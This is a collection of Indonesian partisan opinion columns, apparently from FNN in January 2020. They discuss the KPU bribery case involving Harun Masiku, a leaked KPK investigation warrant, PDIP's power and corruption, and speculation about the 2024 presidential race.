Teguh menceritakan kronologis bagaimana PDIP meski memiliki kewenangan dalam menentukan anggota DPR, tetapi menempuh jalur hukum. Awalnya, MA mengabulkan permohonan PDIP untuk menentukan pengganti Nazarudin Kiemas. Namun setelah putusan itu diberikan kepada KPU, lembaga penyelenggara pemilu menafsirkan lain sehingga menolak petunjuk MA itu. Karena ditolak KPU, partainya meminta MA untuk mengeluarkan fatwa memperjelas makna sebenarnyas secara hukum yuridis. Saat putusan itu keluar dan diteruskan ke KPU, lagi-lagi lembaga yang dipimpin Arief Budiman menolaknya. Menurut Sekjen DPP PDIP Hasto Kristiyanto, partai politik sebenarnya punya kedaulatan politik menentukan penetapan calon terpilih. Bahkan, DPP PDIP juga telah mengantongi perintah dari MA untuk menjalankan penunjukan Harun Masiku mengisi kekosongan kursi Nazarudin Kiemas. “Penetapan anggota legislatif terpilih, di mana kursi itu adalah kursi milik partai, maka kami telah menetapkan berdasarkan putusan MA tersebut bahwa calon terpilih itu adalah Saudara Harus Masiku. Hanya saja ini tidak dijalankan oleh KPU,” kata Hasto. Hasto mengingatkan KPU punya kekuasaan yang sangat besar dalam menentukan siapa yang bisa duduk sebagai anggota dewan. Tapi, ia melihat ada oknum-oknum yang menggunakan kekuasaan itu. Karenanya, Hasto mendorong KPK untuk memproses hal tersebut. “Bahwa KPU secara kolektif kolegial sejak awal telah mengambil keputusan untuk menolak permohonan resmi dari DPP Partai. Namun kemudian, ada pihak-pihak tertentu menawarkan upaya-upaya dan itu di luar sepengetahuan partai,” kata Hasto. PDIP Sakti? Sangat ironis sekali jika Hasto Kristiyanto melihat ada oknum-oknum yang menggunakan kekuasaan, karena, seperti kata Teguh Samudera, sebenarnya adalah perkara penipuan dan pemerasan yang diduga dilakukan oleh oknum tertentu. Siapa “oknum tertentu” itu? Apakah PDIP lupa bahwa Presiden RI itu PDIP. Ketua DPR-RI PDIP. Menkumham PDIP. Jaksa Agung PDIP. MenPANRB PDIP. Mensekab PDIP. Motor RUU KPK PDIP. Ingat, yang berkuasa ya PDIP! Jadi, Oknum PDIP Peras PDIP?! Itu sama halnya Hasto mengatakan, Presiden Joko Widodo sebagai oknum yang memeras PDIP! Karena, KPU maupun KPK berada di bawah Presiden. Hasto saharusnya hati-hati dalam berucap! Pakailah logika! Jangan asal cuap! Ucapan Hasto seperti itu berpotensi memecah-belah PDIP sendiri. Dan, ini sangat berbahaya ketika ucapan Hasto dibawa ke rana hukum. Tapi, pejabat partai semacam Hasto koq masih dipertahankan di PDIP? Seorang teman berkelakar, PDIP itu “sakti”. Makanya, sulit menyentuh Hasto. Termasuk saat politisi PDIP Masinton Pasaribu sampai bisa tahu Sprinlidik KPK atas Wahyu Setiawan yang diduga terlibat suap PAW dari politisi PDIP Harun Masiku itu. “PDIP punya tuyul di KPK, Mas!” tegas teman tadi. Wow, makanya Masinton bisa tahu ada agenda penggeledahan Kantor PDIP di mana Hasto berkantor juga di sana. Meski kasus ini sudah berlanjut ke tahap penyelidikan tak semestinya Masinton bisa dapat. Jangankan Masinton, staf KPK pun bisa dipastikan tidak tahu menahu soal isi Sprinlidik yang ditandatangani oleh Ketua KPK periode 2016-2019 Agus Rahardjo. Ketika itu Masinton sedang membahas ada tidaknya sprint untuk penyelidik yang ingin menyegel ruangan di DPP PDIP. Di sini tampak adanya orang dalam (Internal KPK) yang memberikan surat tersebut kepada PDIP sebelum KPK datang untuk menggeledah kantor yang berada di kawasan Menteng itu. Tak wajar jika PDIP sudah mengetahui isi atau substansi yang akan dilakukan KPK. Tapi, karena ingin membuktikan kepada publik, sang politisi keceplosan mengungkap isi dari Sprinlidik tersebut. Padahal, pihak KPK membantah kalau memberikan surat tersebut kepada pihak yang tidak berkepentingan. Artinya, Masinton dalam hal ini mengatasnamakan PDIP telah dibantu oleh orang internal di KPK bernama Novel Yudi Harahap. Namun anehnya, nama yang disebut Masinton tidak ada dalam manivest data pegawai di KPK. Hal ini terkuak setelah media massa mencoba mengklarifikasi terkait nama yang disebut Mansinton kepada Ketua Wadah Pegawai KPK Yudi Purnomo Harahap. Masinton menjelaskan asal-usul surat itu sampai ke tangannya. Ia mengklaim mendapatkan surat itu pada Selasa, 14 Januari sekitar pukul 14.00 dari seseorang yang mendatanginya di Gedung DPR, Senayan, Jakarta. Artinya, surat itu didapat Masinton beberapa jam sebelum tampil di ILC. Ini bermula ketika Masinton mengacungkan Sprinlidik kasus Wahyu Setiawan dalam acara ILC, Selasa malam, 14 Januari 2020 lalu mengindikasikan PDIP “dekat” dengan KPK. Jadi, tak salah kalau teman saya tadi bilang, PDIP punya tuyul di KPK! Makanya, Sprinlidik pun bisa bocor sampai ke Masinton. Penulis wartawan senior.

Sinyal Jokowi ke Sandi, Misi Politik Pecah-belah?

By Mochamad Toha Jakarta, FNN - Presiden Joko Widodo mendukung Sandiaga Salahuddin Uno untuk maju Pilpres 2024 nanti? Jika menyimak sambutannya dalam acara pelantikan pengurus HIPMI periode 2019-2022, Presiden Jokowi telah memberikan sinyalnya untuk Sandi. Di acara yang sama hadir pula Sandi yang juga mantan Ketum dan Senior HIPMI itu. Melihat kehadiran Sandi, Presiden Jokowi yang pernah bersaing saat Pilpres 2019 lalu menyampaikan pesan, “Hati-hati 2024!” Sontak hadirin bertepuk tangan. Lebih lanjut Presiden Jokowi mengatakan, “Tadi kan disampaikan Ketua Dewan Pembina, kalau 2024 nanti kemungkinan yang hadir di sini adalah kandidat yang kemungkinan besar akan menggantikan saya. Dan saya meyakini itu,” ujarnya. Presiden Jokowi memang tidak menyebut nama Sandi, tapi dengan kalimat, “bisa saja yang berdiri tadi.” Maksudnya yang berdiri tadi tak lain adalah Sandi. Sinyal yang disampaikan Presiden Jokowi bisa diterjemahkan secara positif atau negatif. Presiden Jokowi pasti sudah punya pertimbangan ketika menyampaikan sinyal dukungannya kepada Sandi itu. Secara positif, tampaknya Jokowi akan lebih nyaman jika yang meneruskan estafet pemerintahannya nanti adalah Sandi, bukan yang lainnya. Termasuk Gubernur DKI Jakarta Anies Bawesdan yang digadang-gadang para pendukungnya belakangan ini. Apalagi, Sandi sendiri itu seorang politisi, elit partai, dan pernah terjun dalam kontestasi Pilpres 2019 lalu bersama Prabowo Subianto. Sinyal Presiden Jokowi ke Sandi ini mengirim pesan kuat bahwa memang hubungan Presiden Jokowi dengan Gubernur Anies bagaikan api dalam sekam. Panas, sulit untuk dipersatukan. Ini terlihat saat Jakarta dilanda banjir, 1 Januari 2020, lalu. Di satu sisi Gubernur Anies dalam menangani banjir yang melanda Jakarta lalu itu, kerapkali merespon langsung Pemerintah Pusat dan Presiden Jokowi secara langsung. Gubernur Anies head to head langsung dengan Presiden Jokowi dan Pemerintah Pusat. Secara fatsoen politik, yang dilakukan Gubernur Anies itu kelihatannya memang tidak elok. Kesannya ia sedang melakukan perlawanan. Apalagi, Presiden Jokowi tak mengundangnya saat Rapat membahas penanganan Banjir Jakarta. Ini menjadi sinyal kepada Gubernur Anies bahwa Presiden Jokowi sudah “tidak butuh” Anies lagi. Jelas, apa yang dilakukan Presiden Jokowi ini bisa dinilai sebagai upaya “pecah-belah” kekuatan politik Anies – Sandi yang pernah bersama kelola Ibukota ini. Perlu dicatat, keduanya pernah pula mengalahkan kekuatan politik lainnya saat Pilkada DKI Jakarta pada 2017 lalu yang disokong kekuatan parpol besar, seperti Agus Harimurty Yudhoyono (Partai Demokrat) dan Basuki Tjahaja Purnama (PDIP). Bila Anies-Sandi pecah, tentu saja ada kekuatan politik lainnya yang diuntungkan. Yakni: Demokrat yang sudah menyiapkan AHY atau Andika Perkasa yang kini digadang-gadang oleh “oligarki jenderal” yang selama ini telah menyokong Jokowi. Ada pula, PDIP yang tampaknya juga sedang menyiapkan Puan Maharani yang kini duduk sebagai Ketua DPR RI untuk ikut dalam kontestasi Pilpres 2024. PDIP dan Puan sekarang tinggal mencari pasangannya saja sebagai Cawapres untuk Puan. Sebagai parpol pemenang Pemilu 2019, tentunya PDIP tidak akan mau jika ditempatkan di posisi Cawapres 2024 nanti. PDIP pasti minta jatah Capres! Siapakah yang mau digandeng Puan (PDIP) untuk posisi cawapres? Masih sulit menjawabnya! Sebab, apa yang dirasakan rakyat selama Jokowi yang disokong PDIP menjabat Presiden, banyak kebijakan yang sangat merugikan rakyat. Berbagai kasus korupsi menyeruak dan semakin menggila yang juga melibatkan kader parpol pendukung. Kalaupun PDIP bisa mengajukan capres sendiri meski tanpa dukungan parpol lainnya, toh PDIP tetap butuh cawapres dari parpol lainnya. Persoalannya, apakah parpol tersebut mau ikut mendukung. Dan, siapa figur yang pas untuk Puan tersebut. Rasanya tidak mungkin kalau Ahok yang juga PDIP satu paket bersama Puan. PDIP masih tetap butuh parpol pendukung lainnya dalam kontestasi Pilpres 2024 nanti. Kabarnya, Ahok justru akan dipasangkan dengan AHY atau Andika Perkasa. Konon, Ahok disokong China. Inilah yang membuat “oligarki jenderal” dengan mudah bisa menarik dukungan dari parpol di luar PDIP dan Gerindra. Apalagi, belakangan ini hubungan Megawati Soekarnoputri dan Prabowo Subianto tampak akrab. Jika Anies Baswedan benar-benar “ditinggalkan” Sandi (dan Gerindra), maka peluang Anies ikut kontestasi Pilpres 2024 sedikit “tertutup”, meski mantan Rektor Universitas Paramadina ini sangat berpotensi memenangkan Pilpres 2024 mendatang. Itu jika Anies – Sandi kembali berpasangan pada Pilpres 2024. Mereka berpeluang menang seperti saat Pilkada 2017 yang mengantarkannya menjadi Gubenur – Wakil Gubenur DKI Jakarta. Meski didukung Gerindra dan PKS, mereka bisa menang. Namun, bila dilihat hingga saat ini Gerindra-PKS belum juga sepakat soal wagub pengganti Sandi, maka itu pertanda ada masalah antara Gubernur Anies dengan partai pengusungnya. Pasti kedua parpol itu tidak sreg lagi dengan Gubernur Anies. Sehingga, sekarang ini terkesan, Gubernur Anies terlihat asyik sendiri dibantu dengan timnya untuk meningkatkan popularitas tanpa membawa parpol pengusungnya, Gerindra-PKS dalam berbagai kegiatan. Sepertinya, kedua parpol ini mulai meninggalkannya. Di sisi lain, bisa jadi Gubernur Anies juga kecewa melihat kedua parpol pengusungnya yang sengaja membuatnya “sendirian” dalam mengurus Ibukota. Mengurus Jakarta tanpa bantuan Wagub, meski ada kepala dinas dan TGUP yang membantunya. Meski pilpres masih empat tahun lagi, tapi sebetulnya sudah di depan mata. Kini, apa yang dilakukan Gubernur Anies dan para pendukungnya pun, tak bisa dilepaskan dari kontestasi Pilpres 2024. Tapi, persoalannya, Anies tak punya parpol. Mungkin mereka lupa bahwa peran parpol sangat menentukan, maju atau tidaknya seseorang. Gubernur Anies bisa saja nyapres, bisa juga sebaliknya. Semua tergantung keputusan parpol. Di sini kita bisa baca maksud pernyataan Presiden Jokowi itu. Bagaimanapun juga Sandi memiliki partai, dan elit partai besar. Sementara Gubernur Anies tidak punya partai. Di sinilah kelemahan Anies! Konsekuensinya, dia hanya bisa menunggu lamaran dari berbagai parpol, seperti yang dilakukan NasDem. Manuver yang ditempuh Ketum NasDem Surya Paloh tempo hari itu justru bisa membuat parpol lainnya yang berniat ingin mendukung Anies juga berpikir ulang. Karena, bisa saja, mereka bakal dianggap “mengekor” NasDem. Itulah politik! Akankah Sandi akhirnya juga meninggalkan Anies, sehingga keduanya “berpisah”? Dalam politik itu semuanya bisa terjadi. Meski keduanya memiliki hubungan yang erat, termasuk kedua ibunda masing-masing bersabat sejak usia muda. Jika hal itu terjadi, maka sinyal Presiden Jokowi ke Sandi tersebut sejatinya memang untuk memecah kekuatan di belakang Anies – Sandi selama ini. Karena, kalau keduanya kembali berpasangan, berpotensi menang kontestasi Pilpres 2024. Anies – Sandi yang menjadi representasi dari kekuatan politik Islam dan Nasionalis tersebut merupakan ancaman bagi kekuatan politik “oligarki jenderal” maupun PDIP yang selama ini berada di belakang dan menyokong Presiden Jokowi. Kalau Anies – Sandi pecah, maka akan mudah mengalahkan Sandi (tanpa Anies) tanpa ada kendala yang berarti. AHY atau Andika Perkasa yang disokong “oligarki jenderal” maupun Puan akan muncul sebagai salah satu pemenang Pilpres 2024. Itulah realitas politik terkait kontestasi Pilpres 2024. Peta politik tersebut bisa saja berubah bila ternyata Prabowo Subianto masih ingin maju lagi pada Pilpres 2024. Sementara, Anies masih menunggu tambahan kendaraan, selain NasDem. Manuver NasDem ini sebenarnya serupa saat Surya Paloh melakukan hal yang sama jelang Pilkada Jabar 2017 ketika deklarasi pencalonan Ridwan Kamil untuk maju Pilkada Jabar. Padahal, saat itu Ridwan masih menjabat Walikota Bandung. Tampaknya, NasDem ingin mengulang sukses di Jabar yang berhasil mengantarkan Ridwan Kamil menjadi Gubernur Jabar pada Pilkada Serentak 2017 lalu. Tentu, manuver semacam ini tak mudah diterapkan untuk Pilpres 2024 nanti. Siapapun yang menggandeng Ahok, peluang untuk meraih kemenangan akan semakin jauh, kecuali bermain “uang”. Umat Islam pun akan trauma dengan gaya kepemimpinan Ahok saat memimpin Jakarta. Begitu pula Puan. Siapapun yang digandeng Puan, umat Islam juga masih trauma dengan apa yang dilakukan Presiden Jokowi sebagai “petugas partai” PDIP. Rakyat masih trauma dengan segala kebijakannya yang banyak merugikan rakyat. Rakyat Indonesia kini sedang merindukan pimpinan yang bisa mengayomi dengan kebijakan yang tidak menyengsarakan rakyat. Itulah yang sedang dicari! Seriuskah ucapan Jokowi? Melansir Kompas.com, Peneliti dan pengamat politik dari CSIS Arya Fernandes menilai, isyarat Presiden Jokowi kepada Sandi sebagai kandidat kuat presiden 2024 itu hanya untuk menyenangkan Wakil Ketua Dewan Pembina Partai Gerindra itu. “Menurut saya itu, kode-kode itu mungkin untuk menyenangkan Pak Sandi saja. Karena kan posisinya ketika itu (acara) HIPMI, dia (Sandiaga) kan mantan Ketua HIPMI,” ujar Arya ketika dihubungi Antara dari Jakarta, Minggu (19/1/2020). Penulis adalah Wartawan Senior

PDIP Bisa Tergiring Menjadi Pabrik Korupsi

By Asyari Usman Jakarta, FNN - Dulu, Golkar berkuasa begitu kuat dan lama. Partai ini kemudian menjadi mesin korupsi, kolusi dan nepotisme (KKN). Ini bisa terjadi karena Golkar ada di semua lini kekuasaan. Merekalah yang mengatur semuanya. Selanjutnya, banyak orang Golkar yang menyalahgunakan kekuasaan untuk keuntungan pribadi. Golkar kemudian ambruk. Dilaknat oleh rakyat sebagai partai korup. Dihujat sebagai partai yang dihuni oleh para politisi busuk, rakus, dan licik. Presiden Abdurrahman Wahid (Gus Dur) nyaris membubarkan Golkar. Tapi, itu tak terjadi. Kemudian, Golkar ‘come back’ dan menjadi pemain besar lagi. Sekarang, ada indikasi PDIP akan menempuh rute yang sama seperti yang dijalani Golkar. Partai Banteng kini dililit korupsi. Banyak kadernya yang tersangkut berbagai kasus. Sebetulnya tidak mengherankan. Sebab, PDIP sedang memegang kekuasaan yang sangat besar. Bahkan mungkin lebih besar dari kekuasaan Presiden Jokowi sendiri. Presiden yang disebut oleh Ketum Megawati sebagai “petugas partai”. PDIP menjadi sangat kuat meskipun tidak seperti Golkar tempohari. Kekuasaan politik Banteng yang cukup besar itu membawa kita kembali lagi ke teori kekuasaan absolut yang digambarkan oleh John Emerich Edward Dalberg Acton yang kemudian dikenal dengan Lord Acton (1833-1902). Power tends to corrupt. Absolute power corrupts absolutely. Kekuasaan itu cenderung korup. Kekuasaan absolut pasti sangat korup. Sebagai partai yang berkuasa, PDIP berurusan dengan banyak hal. Ini yang membuat pintu-pintu korupsi menunggu di depan mereka. Saat ini, banyak gembok korupsi yang sangat menggoda bagi orang-orang PDIP. Bedanya dengan zaman Golkar, hari ini sebagian gembok korupsi itu dipegang juga oleh parpol-parpol lain. Tidak dimonopoli oleh PDIP saja. Kekuasaan PDIP itu tidak hanya besar. Tapi juga luas. Tangan PDIP ada di Eksekutif dan Yudikatif. Apalagi di Legislatif (DPR). Mulai dari penentuan isi kabinet Jokowi sampai pada urusan “calon jadi” untuk jabatan gubernur, bupati, atau walikota. Secara informal, orang-orang PDIP juga ikut mengurus siapa-siapa saja yang akan mengelola puluhan BUMN papan atas. Mengurusi direksi dan komisaris. Boleh jadi sampai level manajer juga. Bahkan, para politisi PDIP bisa menjadi perantara bagi VIP yang ingin bertemu dengan Presiden. Di forum DPR, PDIP juga berperan menggiring persetujuan atau ketuk palu untuk segala macam hal. Itulah hebatnya partai besar yang berkuasa. Dan itu pula keistimewaanya. Pemandangan seperti ini sudah lumrah. Orang-orang PDIP, dalam berbagai kapasitas, pastilah banyak bersentuhan dengan proyek-proyek pemerintah. Baik di pusat, maupun di daerah. Jadi, banyak sekali urusan negara ini yang digenggam PDIP. Banyak pula yang tergantung pada keinginan para petinggi partai. Artinya, boleh jadi ada ribuan ‘deal’ yang harus ditentukan oleh orang-orang kuat partai. Nah, ‘deal’ yang demikian banyak itu akan membuka jalan korupsi. Perlu diingat juga, ‘deal-deal’ itu biasanya dicapai melalui otoritas para pemegang kekuasaan di jajaran eksekutif dan yudikatif. Boleh dikatakan hampir semua memerlukan tangan penguasa. PDIP, sebagai stake-holder terbesar kekuasaan politik (legislatif), sangat berpengaruh atas para penguasa yang memegang otoritas eksekutif dan yudikatif itu. Kekuasaan politik PDIP bisa menentukan cara berbagai lembaga atau instansi negara mengambil keputusan. Terutama lembaga atau instansi yang krusial dari aspek Polhukam dan Ekuin. Lebih khusus lagi lembaga seperti Polri, BIN, KPU, Bawaslu, MK, MA, OJK, BI, PPATK, dlsb. Keinginan orang-orang PDIP kerap menjadi referensi para pejabat pemerintah. Sangat mungkin, banyak urusan yang harus diselesaikan dengan “cara khusus”. Melalui jalan pintas. Yang berarti di luar prosedur. Berbagai macam urusan. Sebagai contoh, termasuklah urusan yang sedang viral hari-hari ini. Yaitu, penggantian antar waktu (PAW) seorang anggota DPRRI dari PDIP. Nazaruddin Kiemas, anggota DPRRI terpilih 2019-2024 dari dapil Sumsel 1, meninggal dunia. Pada 31 Agustus 2019, KPU menetapkan Riezky Aprilia sebagai PAW karena dialah yang berhak sesuai perolehan suara. Tetapi, PDIP ingin agar Harun Masiku sebagai PAW. Di sinilah peluang korupsi terbuka. Komisioner KPU, Wahyu Setiawan (WS), mengisyaratkan bahwa dia bisa membantu agar Harun menggantikan Riezky. Dengan imbalan 900 juta. Akhirnya, WS kena OTT KPK. Diberitakan luas bahwa ‘uang operasional’ itu, diduga kuat, berasal dari pejabat tinggi PDIP, Hasto Kristiyanto. Tapi, Sekjen PDIP ini membantah terlibat sogok-menyogok WS. Jadi, sebagai partai besar yang berkuasa, PDIP sangat rentan terhadap godaan korupsi. Sama seperti Golkar dulu. Kerentanan itu muncul karena ada keperluan pribadi atau keperluan partai. Dan keperluan itu selalu tak mengenal batas. Ini yang menyebabkan PDIP bisa tergiring menjadi pabrik korupsi seperti yang dialami Golkar.[] 20 Januari 2020 Penulis wartawan senior.

Sprin Lidik Bocor Mirip Skandal Watergate

Pembaca yang terhormat. Tulisan dengan judul "SPP Bocor Dan Derita PDI-P" ini sudah dimuat Portal Berita Online fnn.co.id edisi 19 Januari 2020, dengan link berita https://fnn.co.id/7190-2/. Namun entah mengapa, hari ini Senin 20 Januari 2010, sekitar pukul 13.00 WIB, link berita ini hilang atau dihilangkan tanpa sepengetahuan Redaksi dari laman website fnn.co.id. Akibatnya, berita yang ditulis oleh Dr. Margarito Kamis itu tidak lagi dapat diakses oleh pembaca setia fnn.co.id. Banyak pembaca kami yang menelapon untuk menanyakan hilangnya link berita tersebut. Untuk itu, Redaksi memutuskan untuk kembali memberitakan tulisan tersebut dengan judul “Sprin Lidik Bocor Mirip Skandal Watergate”. Atas peristiwa ini, Redaksi fnn.co.id memohon maaf kepada para pembaca. By Dr. Margarito Kamis Jakarta, FNN - Berita acara mirip asli acap beredar terbatas di media tertentu. Pernyataan resmi KPK akan ada tersangka baru, sudah tertakdir menjadi ciri Komisi Pemberantasan Korupsi (KPK). KPK terbingkai dalam cara itu disepanjang kehebatan khas kupu-kupu kertas selama ini. Setiap kali sebuah kasus yang terlihat memiliki bobot politik, cara kotor khas spy itu terjadi. Tipikal spy kotor ini terlihat melilit kasus Operasi Tangkap Tangan (OTT) Wahyu Setiawan, Komisioner KPU. Kali ini yang tersaji bukan berita acara. Yang tersaji adalah Purat Perintah Penyelidikan (SPP). Terlepas dari apakah benar atau tidak SPP itu. Asli atau tidak, praktis polanya saja yang bergeser. Bukan media masa terbatas atau media tertentu yang pertama kali mendapatkannya. Tetapi kali ini Pak Masinton Pasaribu, anggota DPR dari PDI-P, yang paling kritis terhadap KPK, yang pertama dikirimkan. Pola bocor-bocoran data dalam penegakan hukum, tipikal kerja spy. Pola kerja seperti ini pernah terjadi secara sistimatis. Dirancang dengan tujuan yang jelas dan pasti dalam kasus Watergate 1972. Dalam kasus ini jelas semua akibatnya. Richard Nixon, Presiden Amerika itu tersudut, terkepung pada semua apeknya. Nixon tidak bisa berkelit dari kasus itu. Akhirnya Nixon diimpeach tahun 1973. Orang Dalam Mark Felt, akan ditunjukan pada uraian selanjutnya adalah figur kunci bocornya sejumlah dokumen dan temuan penyelidikan FBI dalam kasus Watergate. Felt adalah Associate Deputy investigasi FBI. Felt berada dibawah Clyde Tolson, Deputinya. Di atas Tolson ada Edwar J. Hoover sebagai Direktur FBI. Ketika kasus Watergate muncul ke permukaan, bukan Felt, tetapi William Sullivan yang ditugaskan Hover melakukan domestic spying operation. Hover, disini terlihat, entah apa namanya, mungkin “mengintip” atau mungkin juga “tidak sepenuhnya memercayai” Sulivan. Hover, seperti ditulis Felt dalam Memoarnya Hover mengatakan “I need who some one control Sulivan”. Tidak ada yang dapat mengendalikan hari esoknya. Saat tidur malamnya, Hover malah meninggal dunia. Untuk mengisi posisi Direktur FBI yang kosong, Deputinya Clyde Tolson, diangkat memegang Direktur FBI untuk sementara waktu. Yang menarik, Tolson tak lama diposisi tersebut. Sebab L. Patrice Gray segera diangkat Nixon menjadi Direktur FBI juga untuk sementara menggantikan Tolson. Padahal menurut Felt, Gray tidak memiliki pengalaman dibidang ini. Tetapi Nixon memerlukan orang politik di posisi itu. Setelah Gray diangkat menjadi Direktur sementara FBI, William Ruckelhaus tampil menjadi acting Direktur FBI menggantikan Tolson. Tolson langsung mengundurkan diri dari FBI. Dan Felt diangkat mengisi jabatan deputi yang ditinggalkan Tolson. Suasana bergerak terus kearah eksplosif, karena sikap Felt. Mengapa? Begitu Hover meninggal dunia, dan Tolson naik menggantikannya, Hellen Gandy, sekertaris Hover selama lima dekade, membongkar 12 Box berisi file rahasia. Di dalamnya terdapat sejumlah nama yang diinvestigasi Hover. Sebelum diserahkan ke kepala devisi investigasi, file-file tersebut terlebih dahulu singgah ke Felt. Mark Felt akhirnya diperiksa di Komite Inteljen House of Representative. Dia disalahkan karenanya, tetapi Felt membantah tuduhan itu. Menurut Felt, justru dengan terbukanya box dan file-file tersebut, kita dapat mengetahui segala sesuatu yang salah. Bagaimana semua informasi itu bisa sampai ke pers dalam sifatnya yang sangat lengkap? Ternyata Felt yang membocorkan temuan-temuannya tersebut ke dua wartawan Washington Post. Keduanya adalah Bob Woodward dan Karl Benstein. Belakangan diketahui bahwa ternyata Woodward telah berteman dengan Felt, sekitar tahun 1969 atau 1970. Woodward juga diketahui pernah bekerja di Gedung Putih, sebelum akhirnya berhenti dari Gedung Putih, dan bekerja sebagai jurnalis. Kontak Felt dengan Woodward menggunakan kode tertentu. Seperti biasa di dunia spy. Felt meminta Woodward menyamarkan sumber berita. Itu sebabnya Woodward menggunakan “My friend” sebagai sumber beritanya. Apa yang terjadi sesudahnya? Situasi semakin eksplosif, terutama setelah berita Washington Post adisi tanggal 18 Mei 1972. Pada tahap ini Felt memberitahukan Woodward bahwa E. Howard Hunt terlibat dalam kasus ini. Tetapi Gedung Putih melindungi orang ini. Bersama dengan H.R Haldeman, Chief Staff-nya, Nixon menekan FBI untuk mengurangi laju investigasi. Sayangnya tekanan dari Nixon ini tidak berhasil. Felt malah bergerak semakin jauh lagi. Menariknya, di tengah situasi eksplosif yang semakin tinggi ini, Nixon malah hendak mempermanenkan Gray sebagi Direktur FBI yang definitif. Sayangnya, upaya ini tidak berhasil. April 1973 Gray mengundurkan diri sebagai pelaksana tugas Direktur FBI. Yang menarik, Gray malah menominasikan Felt, orang yang dicugai Nixon sebagai informan utama untuk semua berita terkait skandal Watergate di Wahington Post. Untuk itu, Nixon, beralih ke William Ruckelhaus, dan mengangkatnya sebagai acting Direktur FBI. Situasi semakin tak terkendali. Chief staf gedung putih diganti. Alaxanedr Haigh naik ke jabatan ini menggantikan Hadelman. New York Times, yang menyebut Felt “Deep Throat” memberitahukan kepada Chief Staf Gedung Putih bahwa Felt adalah informaan dari semua berita di Washington Post. Ruckelhause menindaklanjuti info itu. Ia memanggil Felt dan menanyakan kebenaran info itu. Felt menyangkal. Tetapi akhir yang pahit telah tiba untuk Felt. Keesokan harinya, persis tanggal 22 Juni 1973, Felt mengundurkan diri dari FBI. Buat Terang Jelas sekali penyelidikan perkara apapun, di negara demokratis, yang mengagungkan rule of law dengan segenap aspek teknisnya sekalipun, sama sekali tidak ditentukan secara determinatif oleh hukum. Aspek-aspek non hukum, khususnya aspek aparatur justru jauh lebih dominan dan menentukan. Aspek non hukum ini, untuk alasan integritas penegakan hukum dalam kasus bocornya SPP, terlepas dari asli atau tidak, harus dibuat jelas. Lika-liku Watergate mengharuskan adanya pertanyaan siapa yang menjadi, meminjam istilah Washington Post sebagai “My Friend” atau “Deep Throat” atau “Control Point”. Soal ini tidak bisa diserahkan jawaban ke rerumputan yang bergoyang. Pimpinan baru KPK, sembari mengenali hari-hari yang telah berlalu, ditemukan fakta empiris sempat diragukan. Penolakan kecil-kecilan terhadap mereka, setidaknya untuk sebagian, begitu terbuka dan meluas. Ini bisa jadi point kecilnya. Nyatanya OTT didasarkan pada SPP yang terlihat telah diterbitkan oleh pimpinan KPK sebelum periode Komisioner yang baru ini. Apa mungkin pimpinan baru sengaja menggunakannya? Bila tidak, siapa yang mengontrol dan memegang wewenang mengendalikan dan mengarahkan kehidupan menejemen tindakan-tindakan hukum di KPK? Mungkinkah pimpinan baru tidak memiliki jangkauan kontrol seluruh tindakan hukum, meliputi penggunaan surat itu? Logiskah meminta pemeriksaan terkordinasi dan mendalam tentang kemungkinan penyakit klik-klikan mewabah di KPK? Tetapi apapun itu, bila pimpinan memegang kontrol penuh, maka siapapun harus berpendapat tindakan OTT dan penggeledahan gagal sepenuhnya berada dalam kendali. Dalam arti diperintahkan dan diarahkan oleh pimpinan KPK. Bila begitu adanya, maka soalnya menjadi sangat sederhana. KPK oke dalam semua aspeknya. Konsekuensinya penggunaan surat itu, plus isu penggeledahan gagal tidak lebih dari sekadar sebagai cara pimpinan baru KPK memanggil kehebohan pertama di tahun 2020 ini. Tidak lebih. Itu juga bernilai tidak ada gelombang panas, apalagi klik-klikan amburadul dan mematikan di KPK. Tetapi hal-hal kecil itu, tidak dapat mengisolasi tuntas kegelisahan beralasan PDI-P yang diekspresikan oleh TIM Hukumnya. Apa rasionya? Faktanya hingga detik ini tidak terjadi penggelendahan, apalagi penyitaan di ruang-ruang, entah ruang siapapun di kantor PDI-P. Padahal telah tersiar luas penyidik KPK mau menggeledah ruangan tertentu di kantor DPP PDI-P. Sampai pada titik ini, yang dialami PDI-P terlihat memiliki kemiripan tipis dengan apa yang dialami Nixon pada skaldal Watergate. Gedung putih dan Nixon tersudut dalam kepungan sistimatis, terencana dan terarah dari Washington Post. Berita-berita Watergate bersumber dari Felt “My Friend” sebutan yang diberikan Woodward, atau “Control Point” dan “Deep Throat” sebutan yang diberikan New York Times. Penggeledahan telah tak terjadi, tetapi berita telah menyebar, dan PDI-P terlihat tersudut, bahkan menderita. Akankah ada orang “anonimus” persis seperti dilakukan New York Times membuka siapa “control point” dalam hiruk-pikuk kotor ini? Derita PDI-P, untuk alasan hukum, harus dianggap rasional. Tetapi terlepas dari derita yang dialami PDI-P, demi kelangsungan integritas penegakan hukum, eloknya, pimpinan KPK harus bicara. Terangilah alam penegakan hukum yang sangat kotor dan amburadul ini dengan kata-kata yang berbasis pada fakta terverikasi dan kredibel. Di ujung sana, Dewas KPK tak hanya bisa berdiam diri dalam menyikapi persoalan ini. Bicaralah secara terbuka wahai Dewas KPK. Bicaralah dengan kejujuran sebagai panduan utamanya. Buatlah semuanya menjadi terang-benderang demi bangsa yang besar ini. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

KPK Ditantang PDIP: Siapa Lindungi Harun Masiku?

Oleh Mochamad Toha Jakarta, FNN - Hingga tulisan ini dibuat, Harun Masiku, tersangka politisi PDIP penyuap Komisioner KPU Wahyu Setiawan, belum juga ditemukan keberadaannya. Adakah yang melindungi Harun dari kejaran petugas KPK supaya tidak tertangkap? Benarkah Harun masih di luar negeri sejak Minggu (6/1/2020)? Pejabat Imigrasi, Kepolisian, dan KPK menyebut Harun pergi ke luar negeri dan hingga kini belum kembali juga. Namun, dari investigasi Tempo.co menemukan fakta berbeda. “KPK segera berkoordinasi dengan Polri untuk meminta bantuan Interpol,” ujar Komisioner KPK Nurul Ghufron. “Hingga hari ini belum ada data kembali ke Indonesia,” begitu kata Arvin Gumilang, Kepala Bagian Hubungan Masyarakat Direktorat Jenderal Imigrasi, Kementerian Hukum dan HAM. “Kami akan komunikasikan dengan Singapura bahwa Indonesia mencari seseorang yang sedang ada di negara tersebut,” ungkap Brigadir Jenderal Argo Yuwono, Kepala Biro Penerangan Masyarakat Mabes Polri. Dalam tulisannya “Raibnya Politikus PDIP Harun Masiku yang Terlibat Suap KPU”, Kamis (16 Januari 2020 17:02 WIB), Tempo menemukan fakta berbeda pada data penerbangan dan penelusuran di kampung halaman politisi PDIP itu. 11.30 WIB, 6 Januari 2020, ke Singapura. Berdasar informasi yang dikumpulkan Tempo, Harun memang terbang ke Singapura 